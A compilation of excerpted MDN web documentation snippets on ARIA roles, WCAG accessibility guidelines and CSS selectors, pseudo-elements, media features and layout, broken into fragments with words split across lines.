mmediately read out the message. it should not be used on html where the user hasn't interacted with it. for example, if a page loads with multiple visible alerts scattered throughout, none would be read because they are not dynamically triggered. examples the most basic way to trigger an alert is by adding role="alert" to an element that has display: none; by default. when the display value is c...
... as appropriate. ...
...r bring the user's attention to it i
mmediately, so it should not be used for static content or used regularly. alerts, by definition, are disruptive. lots of alerts at once or unnecessary alerts willl create a bad user experience. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'alert' in that specification. reco
mmendation wai-aria authoring practicesthe definition of 'alert' in that specification. working draft ...
ARIA: article role - Accessibility
<div role="article"> <h2>heading of the segment</h2> <p>paragraph for the segment.</p> <p>another paragraph.</p> ... controls to interact with the article, share it, etc. ... </div> <div role="article"> ... </div> this example shows two articles side by side on one page that could be structured similarly and are related. ...
...ncluding the article role on a non-semantic element, the <article> element should be used. user agents translate this to the appropriate accessibility information just like the article role. using the <article> element also helps search engines better discover the structure of a page. examples of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a co
mment to a forum or blog post, a co
mment to a co
mment to a forum or blog post, any an item in a social media feed. associated wai-aria roles, states, and properties aria-posinset in the context of a feed, indicates the position of this particular article within that feed, based on a count starting at 1. aria-setsize in the context of a feed, indicates how many article items there are within t...
... not require any event handlers to be present. changing attribute values when constructing a feed, set the aria-posinset and aria-setsize attributes on each article role to the appropriate values, bearing in mind that aria-posinset is 1-based. always use native element if available. instead of a div with the article role, the <article> element should be used. examples the restaurant reco
mmendations feed display along with its separate documentation from the wai-aria 1.1 authoring practices feed design pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'article' in that specification. reco
mmendation wai-aria authoring practicesthe definition of 'feed' in that specification. working ...
ARIA: Complementary role - Accessibility
ar containing links to event sponsors. description the complementary role is a landmark role. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. content listed within a container with the complementary landmark role should make sense if separated from the main content of the document. using the <aside> element will automatically co
mmunicate a section has a role of complementary. developers should always prefer using the correct semantic html element over using aria. examples <div role="complementary"> <h2>trending articles</h2> <ul> <li><a href="#">18 tweets that will make you feel all the feels</a></li> <li><a href="#">stop searching for the perfect lunch containers because i've found them</a></li> <li>...
...e know work because we tried them</a></li> </ul> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. best practices prefer html using the <aside> element will automatically co
mmunicate a section has a role of complementary. if at all possible, prefer using it instead. labeling landmarks multiple landmarks if there is more than one complementary landmark role or <aside> element in a document, provide a label for each landmark using the aria-label attribute, or, if the aside has an appropriately descriptive title, point to it with the aria-labelledby attribute. this lab...
... working draft screen reader support tbd ...
ARIA: document role - Accessibility
e value of aria-expanded must be maintained. examples an example is gmail and the single conversation view. gmail is a web application. when in gmail, most user agent interactions are usurped by the application. however, when the keyboard focus is set on the starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode co
mmands to read through the messages, expand or collapse them, and manipulate them. once focus returns to the message list either by activating the back button or pressing an asociated keystroke, direct application interaction mode is invoked again, and the user can move to a different conversation in the list with the arrow keys. best practices always make sure an item with the document role is fo...
...ist with the arrow keys. best practices always make sure an item with the document role is focusable, by setting the tabindex attribute with a value of 0. that will also include it in the tab order. ...
...e it in the tab order. ...
ARIA: Main role - Accessibility
, the different types, regions where they grow, etc. description the main role is a navigational landmark role identifying the main content of a document. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. by classifying and labeling sections of a page, structural information conveyed visually through layout can be represented progra
mmatically. screen readers use landmark roles to provide keyboard navigation to important sections of a page. for those navigating via landmark roles, the main role is an alternative for "skip to main content" links.there should only be one main landmark role per document. the <main> element has a role of main. developers should always prefer using the correct semantic html element over using aria.
...n triggered by javascript, the inactive main role's presence should be removed from assistive technology via techniques such as toggling the hidden attribute. <main> <h1>active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>hidden <code>main</code> element</h1> <!-- content --> </main> best practices prefer html using the <main> element will automatically co
mmunicate a section has a role of main. if at all possible, prefer using it instead. skip navigation skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.). this allows the user to access the main content of the page faster. adding an id attribute to the element wi...
... working draft screen reader support tbd ...
ARIA: Suggestion role - Accessibility
o: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>. ...
...iny</span> </span>. </p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="co
mment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>. </p> <div id="co
mment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to provide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles...
...ne for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. best practices prefer html using the <ins> and <del> element will automatically co
mmunicate a section has a role of insertion or deletion. if at all possible, prefer using the html elements. specifications will be part of wai-aria 1.3, which is still being drafted. screen reader support tbd ...
ARIA: tab role - Accessibility
the aria tab role indicates an interactive element inside a tablist that, when activated, displays its associated tabpanel. <button role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id">tab label</button> description an element with the tab role controls the visibility of an associated element with the tabpanel role. the co
mmon user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs. elements with the role tab must either be a child of an element with the tablist role, or have their id part of the aria-owns property of a tablist. this combination identifies to assistive technology that the element is part of a group of rela...
... specifications specification status access...
...ected panel grandparent.parentnode .queryselector(`#${target.getattribute("aria-controls")}`) .removeattribute("hidden"); } best practices it is reco
mmended to use a button element with the role tab for their built-in functional and accessible features instead, as opposed to needing to add them yourself. for controlling tab key functionality for elements with the role tab, it is reco
mmended to set all non-active elements to tabindex=-1, and to set the active element to tabindex=0. specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tab' in that specification. reco
mmendation wai-aria authoring practicesthe definition of 'tabs' in that specification. working draft precedence order ...
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities. it supplements html so that interactions and widgets co
mmonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. for example, aria enables accessible navigation landmarks in html4, javascript widgets, form hints and error messages, live content updates, and more. many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists. for instance, native elements have built-in keyboard accessibility, roles and states. h...
...board-navigable javascript widgets built-in elements like <input>, <button> etc have built-in keyboard accessibility. if you 'fake' these with <div>s and aria, you must ensure your widgets are keyboard accessible. live regions live regions provide suggestions to screen readers about how to handle changes to the contents of a page. using aria live regions to announce content changes a quick su
mmary of live regions, by the makers of jaws screen reader software. live regions are also supported by nvda with firefox, and voiceover with safari. references aria roles reference pages covering all the wai-aria roles discussed on mdn. standardization efforts wai-aria specification the w3c specification itself. wai-aria authoring practices the official best practices documents ho...
...by the makers of jaws screen reader software. live regions are also supported by nvda with firefox, and voiceover with safari. references aria roles reference pages covering all the wai-aria roles discussed on mdn. standardization efforts wai-aria specification the w3c specification itself. wai-aria authoring practices the official best practices documents how best to aria-ify co
mmon widgets and interactions. an excellent resource. videos following talks are a great way to understand aria: aria, accessibility apis and coding like you give a damn! – léonie watson filing bugs file aria bugs on browsers, screen readers, and javascript libraries. related topics accessibility, ajax, javascript ...
Accessibility Information for Web Authors - Accessibility
cussion list. how-to's key-navigable custom dhtml widgets in mozilla & ie this document discusses how to use tabindex, element.focus() and onkeypress to make custom dhtml widgets such as menus or tree views keyboard accessible. accessible web page authoring ibm has put together a simple, practical resource for web authors to learn accessibility the fast and painless way. highly reco
mmended, an excellent resource. dive into accessibility by mark pilgrim an excellent, easy-to-understand resource (available in english and in 9 other languages) on accessible website authoring, which goes into greater depth. in 30 days, you will know why your website should be accessible and how to make it more accessible. automated checking & repair cynthia says™ from hisoftware® co...
...ll structured table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc. accessibility valet from webthing description and su
mmary to be written. wave 4.0 beta (web accessibility versatile evaluator) from webaim and sponsored by temple university institute on disabilities wave 4.0 beta is another powerful, free online webpage accessibility validation service that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines. its purpose is...
...idgets are supposed to be, or what state they are in or what they are capable of. this document tackles such difficulties and shows several interactive desktop-style widgets such as tree views, menu bars and spreadsheets which are accessible both with the keyboard and assistive technologies such as screen readers, screen magnifiers and alternative input devices. join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Perceivable - Accessibility
that can be presented in different ways this guideline refers to the ability of content to be consumed by users in multiple ways, accomodating their differing needs. ...
...this should mean that the full meaning can still be inferred even if you can't see the image. lists. if the order of list items is important, use an ordered list (<ol>). ...
...erent guideline — 1.4.1. 1.3.4 orientation (aa) added in 2.1 content does not restrict its view and operation to a single display orientation, such as portrait or landscape, unless a specific display orientation is essential. understanding orientation 1.3.5 identify input purpose (aa) added in 2.1 follow the list of 53 input fields to progra
mmatically identify the purpose of a field. understanding identify input purpose 1.3.6 identify purpose (aaa) added in 2.1 in content implemented using markup languages, the purpose of user interface components, icons, and regions can be progra
mmatically determined. understanding identify purpose note: also see the wcag description for guideline 1.3: adaptable: creat...
Understandable - Accessibility
rovide supplementary explainer material to help people who can't read it, or provide an alternative version that is written at lower secondary level. this doesn't mean that all subject matter should be understood by everyone, but that the style of writing should be accessible by everyone. it is better to just write all content at lower secondary level, even technical documentation like progra
mming tutorials, unless there is a good reason not to (e.g. an alternative style for poetic effect), or they have to be written in a strict style (e.g. w3c specs). 3.1.6 pronunciation (aaa) a mechanism should be provided to give users access to pronounciation of words where they are is needed to understand the content fully. the html5 <audio> element can be used to crea...
...nctionality to check if the entry is correct, and if not, what viable suggestions can be given to the user. such suggestions should be displayed usefully in context, just like error messages (see 3.3.1). no tutorial suggestions yet. 3.3.4 error prevention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-co
mmerce transactions, or personal data), at least one of the following should be true: submissions are reversible. data is checked for errors, and the user is given an opportunity to correct them. a mechanism is available for confirming and correcting information before final submission. reversible — for any view where data can be entered, provide an equivalent...
...dation should be used to detect errors and display helpful messages to the user to allow them to correct their inputs. confirm and correct — where appropriate, after filling in a series of form fields to perform a task (such as buying a product), the user should be shown a confirmation screen where they can review their inputs and correct anything that doesn't look right. this pattern is co
mmonly used on e-co
mmerce sites like amazon. 3.3.5 context-sensitive help is available (aaa) provide instructions and other appropriate cues in context to aid form completion and submission. this really just builds on 3.3.1 and other similar criteria but requires more thorough contextual help information and services, e.g. providing a dedicated link to a help page or service on ea...
::after (:after) - CSS: Cascading Style Sheets
stom data attribute, to create tooltips. no javascript is required! we can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector. this shows how flexible ::before and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and su
mmary elements) is likely to be more appropriate. html <p>here we have some <span tabindex="0" data-descr="collection of words and punctuation">text</span> with a few <span tabindex="0" data-descr="small popups that appear when hovering">tooltips</span>. </p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::...
... working draft no significant changes to the previous specification. css animationsthe definition of 'animations on pseudo-element properties' in that specification. working draft allows animations on properties defined on pseudo-elements. selectors level 3the definition of '...
...vel 4the definition of '::after' in that specification. working draft no significant changes to the previous specification. css animationsthe definition of 'animations on pseudo-element properties' in that specification. working draft allows animations on properties defined on pseudo-elements. selectors level 3the definition of '::after' in that specification. reco
mmendation introduces the two-colon syntax. css level 2 (revision 1)the definition of '::after' in that specification. reco
mmendation initial definition, using the one-colon syntax. ...
::first-line (:first-line) - CSS: Cascading Style Sheets
working draft defines more strictly where ::first-letter can occur. generalizes allowed properties to typesetting, text decoration, and inline layout properties and opacity. defines the inheritance of ::first-letter. css text decoration module level 3the definition of 'text-sh...
...:first-line' in that specification. working draft defines more strictly where ::first-letter can occur. generalizes allowed properties to typesetting, text decoration, and inline layout properties and opacity. defines the inheritance of ::first-letter. css text decoration module level 3the definition of 'text-shadow with ::first-line' in that specification. candidate reco
mmendation allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-line' in that specification. reco
mmendation introduction of the two-colon syntax. css level 2 (revision 1)the definition of '::first-line' in that specification. reco
mmendation no change. css level 1the definition of '::first-line' in that specification.
... allows the use of text-shadow with ::first-letter. selectors level 3the definition of '::first-line' in that specification. reco
mmendation introduction of the two-colon syntax. css level 2 (revision 1)the definition of '::first-line' in that specification. reco
mmendation no change. css level 1the definition of '::first-line' in that specification. reco
mmendation initial definition, using the one-colon syntax. ...
::placeholder - CSS: Cascading Style Sheets
erpreted as entered input. placeholder text will also disappear when a person enters content into an <input> element. both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns. an alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to progra
mmatically associate the <input> with its hint. with this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. most screen reading technology will use aria-describedby to read the hint after the input's label text is announced, and the person using the screen reader can mute it if ...
...r text will appear with the same styling as user-entered text content when rendered in windows high contrast mode. this will make it difficult for some people to determine which content has been entered, and which content is placeholder text. greg whitworth — how to use -ms-high-contrast labels placeholders are not a replacement for the <label> element. without a label that has been progra
mmatically associated with an input using a combination of the for and id attributes, assistive technology such as screen readers cannot parse <input> elements. mdn basic form hints placeholders in form fields are harmful — nielsen norman group examples red text html <input placeholder="type something here!"> css input::placeholder { color: red; font-size: 1.2em; font-style: ital...
... working draft initial definition. ...
:active - CSS: Cascading Style Sheets
the :active css pseudo-class represents an element (such as a button) that is being activated by the user. when using a mouse, "activation" typically starts when the user presses down the primary mouse button. /* selects any <a> that is being activated */ a:active { color: red; } the :active pseudo-class is co
mmonly used on <a> and <button> elements. other co
mmon targets of this pseudo-class include elements that contain an activated element, and form elements that are being activated through their associated <label>. styles defined by the :active pseudo-class will be overridden by any subsequent link-related pseudo-class (:link, :hover, or :visited) that has at least equal specificity. to style links appropriately, put the :active rule after all other link-related rules, as defined by...
... css level 2 (revision 1)the definition of ':active' in that spe...
...tton { background: white; } result specifications specification status co
mment html living standardthe definition of ':active' in that specification. living standard selectors level 4the definition of ':active' in that specification. working draft no change. selectors level 3the definition of ':active' in that specification. reco
mmendation no change. css level 2 (revision 1)the definition of ':active' in that specification. reco
mmendation no change. css level 1the definition of ':active' in that specification. reco
mmendation initial definition. ...
@charset - CSS: Cascading Style Sheets
link> element. this method is obsoleted in html5 and must not be used. assume that the document is utf-8 syntax @charset "utf-8"; @charset "iso-8859-15"; where: charset is a <string> denoting the character encoding to be used. it must be the name of a web-safe character encoding defined in the iana-registry, and must be double-quoted, following exactly one space character (u+0020), and i
mmediately terminated with a semicolon. if several names are associated with an encoding, only the one marked with preferred must be used. formal syntax @charset "<charset>"; examples valid and invalid charset declarations @charset "utf-8"; /* set the encoding of the style sheet to unicode utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinter...
...d */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status co
mment css level 2 (revision 1)the definition of '@charset' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ...
range - CSS: Cascading Style Sheets
infinity. for alphabetic and symbolic systems, the range is 1 to positive infinity. for additive systems, the range is 0 to positive infinity. for extends systems, the range is whatever auto would produce for the extended system; if extending a complex predefined style (§7 complex predefined counter styles), the range is the style’s defined range. [ [ | infinite ]{2} ]# defines a co
mma-separated list of ranges. for each individual range, the first value is the lower bound and the second value is the upper bound. a range is inclusive, that means it always contains both, the lower and upper bound numbers. if infinite is used as the first value in a range, it represents negative infinity; if it is used as the second value, it represents positive infinity. the range of the counter...
...rst value in a range, it represents negative infinity; if it is used as the second value, it represents positive infinity. the range of the counter style is the union of all the ranges defined in the list. if the lower bound of any range is higher than the upper bound, the entire descriptor is invalid and will be ignored. description the value of the range descriptor can be either auto or a co
mma separated list of lower and upper bounds specified as integers. if value is auto, then for cyclic, numeric, and fixed system, the range will be from negative infinity to positive infinity. for alphabetic and symbolic systems, range will be from 1 to positive infinity. for additive systems, auto will result in the range 0 to positive infinity. for extends systems, the range is whatever auto will...
...e</li> <li>ten</li> </ul> @counter-style range-multi-example { system: cyclic; symbols: "\25a0" "\25a1"; range: 2 4, 7 9; } .list { list-style: range-multi-example; } the above list will display as follows: 1. one □. two ■. three □. four 5. five 6. six ■. seven □. eight ■. nine 10. ten specifications specification status co
mment css counter styles level 3the definition of 'range' in that specification. candidate reco
mmendation initial definition ...
color - CSS: Cascading Style Sheets
the value must be nonnegative. ...
...the value must be nonnegative. ...
... component */ @media (min-color: 8) { p { color: #24ba13; } } result specifications specification status co
mment media queries level 4the definition of 'color' in that specification. candidate reco
mmendation the value can now be negative, in which case it computes to false. media queriesthe definition of 'color' in that specification. reco
mmendation initial definition. the value must be nonnegative. ...
height - CSS: Cascading Style Sheets
the value must be nonnegative. ...
...the value must be nonnegative. ...
...ia (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status co
mment media queries level 4the definition of 'height' in that specification. candidate reco
mmendation the value can now be negative, in which case it computes to false. media queriesthe definition of 'height' in that specification. reco
mmendation initial definition. the value must be nonnegative. ...
monochrome - CSS: Cascading Style Sheets
the value must be nonnegative. ...
...the value must be nonnegative. ...
... p.no-mono { display: block; color: #ee3636; } } result specifications specification status co
mment media queries level 4the definition of 'monochrome' in that specification. candidate reco
mmendation the value can now be negative, in which case it computes to false. media queriesthe definition of 'monochrome' in that specification. reco
mmendation initial definition. the value must be nonnegative. ...
width - CSS: Cascading Style Sheets
the value must be nonnegative. ...
...the value must be nonnegative. ...
...media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status co
mment media queries level 4the definition of 'width' in that specification. candidate reco
mmendation the value can now be negative, in which case it computes to false. media queriesthe definition of 'width' in that specification. reco
mmendation initial definition. the value must be nonnegative. ...
@media - CSS: Cascading Style Sheets
recated in media queries 4 and shouldn't be used. the aural type has been replaced by speech, which is similar. media features media features describe specific characteristics of the user agent, output device, or environment. media feature expressions test for their presence or value, and are entirely optional. each media feature expression must be surrounded by parentheses. name su
mmary notes any-hover does any available input mechanism allow the user to hover over elements? added in media queries level 4. any-pointer is any available input mechanism a pointing device, and if so, how accurate is it? added in media queries level 4. aspect-ratio width-to-height aspect ratio of the viewport color number of bits per...
... scanning process of the output device scripting detects whether scripting (i.e. javascript) is available added in media queries level 5. update how frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar accessibility concerns to best acco
mmodate people who adjust a site's text size, use ems when you need a <length> for your media queries. both em and px are valid units, but em works better if the user changes the browser text size. also consider using level 4 media queries to improve the user's experience. for example, prefers-reduced-motion to detect if the user has requested that the system minimize the amount of animation or mo...
...ed in media queries level 4 is a new range syntax that allows for less verbose media queries when testing for any feature accepting a range, as shown in the below examples: @media (height > 600px) { body { line-height: 1.4; } } @media (400px <= width <= 700px) { body { line-height: 1.4; } } for more examples, please see using media queries. specifications specification co
mment feedback media queries level 5the definition of '@media descriptors' in that specification. reinstates light-level, inverted-colors and custom media queries, which were removed from level 4. adds prefers-reduced-motion, prefers-reduced-transparency, prefers-contrast, and prefers-color-scheme media features. css working group drafts github issues css condition...
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
modern browsers, however there are a few issues that you might run into. in this guide we will look at how well flexbox is supported in browsers, and look at some potential issues, resources and methods for creating workarounds and fallbacks. the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate reco
mmendation that we have today. as a candidate reco
mmendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations. flexbox was implemented in an experimental way in several web browsers. at the time the method of creating experimental implementations was to use a vendor prefix. the idea of these prefixes was to allow implementati...
... in mind for cross-browser compatibility are: internet explorer 10, which implemented the display: flexbox version of the specification with the -ms- prefix. uc browser, which still supports the 2009 display: box version only with the -webkit- prefix. note also that internet explorer 11 supports the modern display: flex specification however it has a number of bugs in the implementation. co
mmon issues the majority of issues with flexbox relate to the changes in the specification, as it has been developed, and the fact that many of us were attempting to use an experimental specification in production. if you are trying to ensure backwards compatibility with old versions of browsers, and in particular ie10 and 11, the flexbugs site is a helpful resource. you will see that many of the l...
... want to include very old browsers with flexbox support then you can include the vendor prefixes in your css in addition to the unprefixed version. this is becoming less and less of a requirement today as support is widespread. .wrapper { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are reco
mmended, depending on how many versions you wish to go back with browser support. you can also check can i use for information about when prefixes were removed in browsers to make your decision. useful fallback techniques given that flexbox usage is initiated with value of the display property, when needing to support very old browsers which do not support flexbox at all, fallbacks can be created ...
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
yout. in this guide, i will explain how a grid fits together with other techniques you may already be using. grid and flexbox the basic difference between css grid layout and css flexbox layout is that flexbox was designed for layout in one dimension - either a row or a column. grid was designed for two-dimensional layout - rows, and columns at the same time. the two specifications share some co
mmon features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid. one-dimensional vs. two-dimensional layout a simple example can demonstrate the difference between one- and two-dimensional layouts. in this first example, i am using flexbox to lay out a set of boxes. i have five child items in my container, and i have given the fl...
... flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two items have wrapped onto a new line. these items are sharing the available space and not lining up underneath the items above. this is because when you wrap flex items, each new row (or column when working by column) becomes a new flex container. space distribution happens across the row. a co
mmon question then is how to make those items line up. this is where you want a two-dimensional layout method: you want to control the alignment by row and column, and this is where grid comes in. the same layout with css grids in this next example, i create the same layout using grid. this time we have three 1fr column tracks. we do not need to set anything on the items themselves; they will lay ...
...ion: absolute from the rules for .box3 you can see how it would display without the positioning. a grid container as parent if the absolutely positioned child has a grid container as a parent but that container does not create a new positioning context, then it is taken out of flow as in the previous example. the positioning context will be whatever element creates a positioning context as is co
mmon to other layout methods. in our case, if we remove position: relative from the wrapper above, positioning context is from the viewport, as shown in this image. once again the item no longer participates in the grid layout in terms of sizing or when other items are auto-placed. with a grid area as the parent if the absolutely positioned item is nested inside a grid area then you can create ...
CSS Paged Media - CSS: Cascading Style Sheets
css paged media is a module of css that defines how page switches are handled. ...
...of css that defines how page switches are handled. ...
...rence css properties page-break-after page-break-before page-break-inside at-rules @page pseudo-classes :blank :first :left :right specifications specification status co
mment css paged media module level 3 working draft css fragmentation module level 3 candidate reco
mmendation css level 2 (revision 1) reco
mmendation ...
CSS selectors - CSS: Cascading Style Sheets
l <span> elements that are inside a <div> element. child combinator the > combinator selects nodes that are direct children of the first element. syntax: a > b example: ul > li will match all <li> elements that are nested directly inside a <ul> element. general sibling combinator the ~ combinator selects siblings. this means that the second element follows the first (though not necessarily i
mmediately), and both share the same parent. syntax: a ~ b example: p ~ span will match all <span> elements that follow a <p>, i
mmediately or not. adjacent sibling combinator the + combinator selects adjacent siblings. this means that the second element directly follows the first, and both share the same parent. syntax: a + b example: h2 + p will match all <p> elements that directly follow an ...
...udo allow the selection of elements based on state information that is not contained in the document tree. example: a:visited will match all <a> elements that have been visited by the user. pseudo elements the :: pseudo represent entities that are not included in html. example: p::first-line will match the first line of all <p> elements. ...
...p> elements. specifications specification status co
mment selectors level 4 working draft added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and ui pseudo-classes, modifier for ascii case-sensitive and case-insensitive attribute value selection. selectors level 3 reco
mmendation added the ~ general sibling combinator and tree-structural pseudo-classes. made pseudo-elements use a :: double-colon prefix. additional attribute selectors css level 2 (revision 1) reco
mmendation added the > child and + adjacent sibling combinators. added the universal and attribute selectors. css level 1 reco
mmendation initial definition. ...
CSS Text - CSS: Cascading Style Sheets
ulation, like line breaking, justification and alignment, white space handling, and text transformation. ...
...t text-justify text-size-adjust text-transform white-space word-break word-spacing specifications specification status co
mment css logical properties and values level 1 editor's draft updates some properties to be independent of the directionality of the text. ...
...nsform white-space word-break word-spacing specifications specification status co
mment css logical properties and values level 1 editor's draft updates some properties to be independent of the directionality of the text. ...
Descendant combinator - CSS: Cascading Style Sheets
gs li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator. additionally, the white space characters of which the combinator is comprised may contain any number of css co
mments. syntax selector1 selector2 { /* property declarations */ } examples css li { list-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> <li> <div>item 2</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> </ul> result sp...
...eclarations */ } examples css li { list-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> <li> <div>item 2</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> </ul> result specifications specification status co
mment selectors level 4the definition of 'descendant combinator' in that specification. working draft selectors level 3the definition of 'descendant combinator' in that specification. reco
mmendation css level 2 (revision 1)the definition of 'descendant selectors' in that specification. reco
mmendation css level 1the definition of 'contextua...
...ition of 'descendant combinator' in that specification. working draft selectors level 3the definition of 'descendant combinator' in that specification. ...
Pseudo-elements - CSS: Cascading Style Sheets
e colon (:). this distinguishes pseudo-classes from pseudo-elements. however, since this distinction was not present in older versions of the w3c spec, most browsers support both syntaxes for the original pseudo-elements. ...
... ...
... ...
Selector list - CSS: Cascading Style Sheets
the css selector list (,) selects all the matching nodes. /* selects all matching elements */ span, div { border: red 2px solid; } to reduce the size of style sheets, one can group selectors in co
mma-separated lists. syntax element, element, element { style properties } examples single line grouping grouping selectors in a single line using a co
mma-separated lists. h1, h2, h3, h4, h5, h6 { font-family: helvetica; } multi line grouping grouping selectors in a multiple lines using a co
mma-separated lists. #main, .content, article { font-size: 1.1em; } selector list invalidation a downside to using selector lists is that the following aren't equivalent: h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } h1, h2:may...
...ctor, which simply ignores invalid selectors in its arguments, but at the cost of all selectors having the same specificity, because of how :is() calculates specificity. ...
...ed { font-family: sans-serif } h3 { font-family: sans-serif } :is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif } specifications specification status co
mment selectors level 4the definition of 'selector lists' in that specification. working draft renamed to "selector list" css level 1the definition of 'grouping' in that specification. reco
mmendation initial definition ...
Syntax - CSS: Cascading Style Sheets
ts of the page with specific features, like colors, positioning, or decorations. the css syntax reflects this goal and its basic building blocks are: the property which is an identifier, that is a human-readable name, that defines which feature is considered. the value which describe how the feature must be handled by the engine. each property has a set of valid values, defined by a formal gra
mmar, as well as a semantic meaning, implemented by the browser engine. css declarations setting css properties to specific values is the core function of the css language. a property and value pair is called a declaration, and any css engine calculates which declarations apply to every single element of a page in order to appropriately lay it out, and to style it. both properties and values are...
...and closing braces, can be put inside an html style attribute. css rulesets if style sheets could only apply a declaration to each element of a web page, they would be pretty useless. the real goal is to apply different declarations to different parts of the document. css allows this by associating conditions with declarations blocks. each (valid) declaration block is preceded by one or more co
mma-separated selectors, which are conditions selecting some elements of the page. a selector group and an associated declarations block, together, are called a ruleset, or often simply a rule. a css ruleset (or rule) is visualized in the diagram below. as an element of the page may be matched by several selectors, and therefore by several rules potentially containing a given property several ti...
... building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included into another {}, () or [] pair). there are two kinds of statements: rulesets (or rules) that, as seen, associate a collection of css declarations to a condition described by a selector. at-rules that start with an at sign, '@' (u+0040 co
mmercial at), followed by an identifier and then continuing up to the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block. each type of at-rules, defined by the identifier, may have its own internal syntax, and semantics of course. they are used to convey meta-data information (like @charset or @import), conditional information (like @media or...
Universal selectors - CSS: Cascading Style Sheets
lue; } .floating { float: left } /* automatically clear the next sibling after a floating element */ .floating + * { clear: left; } html <p class="warning"> <span lang="en-us">a green span</span> in a red paragraph. </p> <p id="maincontent" lang="en-gb"> <span class="warning">a red span</span> in a green paragraph. ...
...h. </p> <p id="maincontent" lang="en-gb"> <span class="warning">a red span</span> in a green paragraph. </p> result specifications specification status co
mment selectors level 4the definition of 'universal selector' in that specification. working draft no changes selectors level 3the definition of 'universal selector' in that specification. ...
... 'universal selector' in that specification. working draft no changes selectors level 3the definition of 'universal selector' in that specification. ...
background-attachment - CSS: Cascading Style Sheets
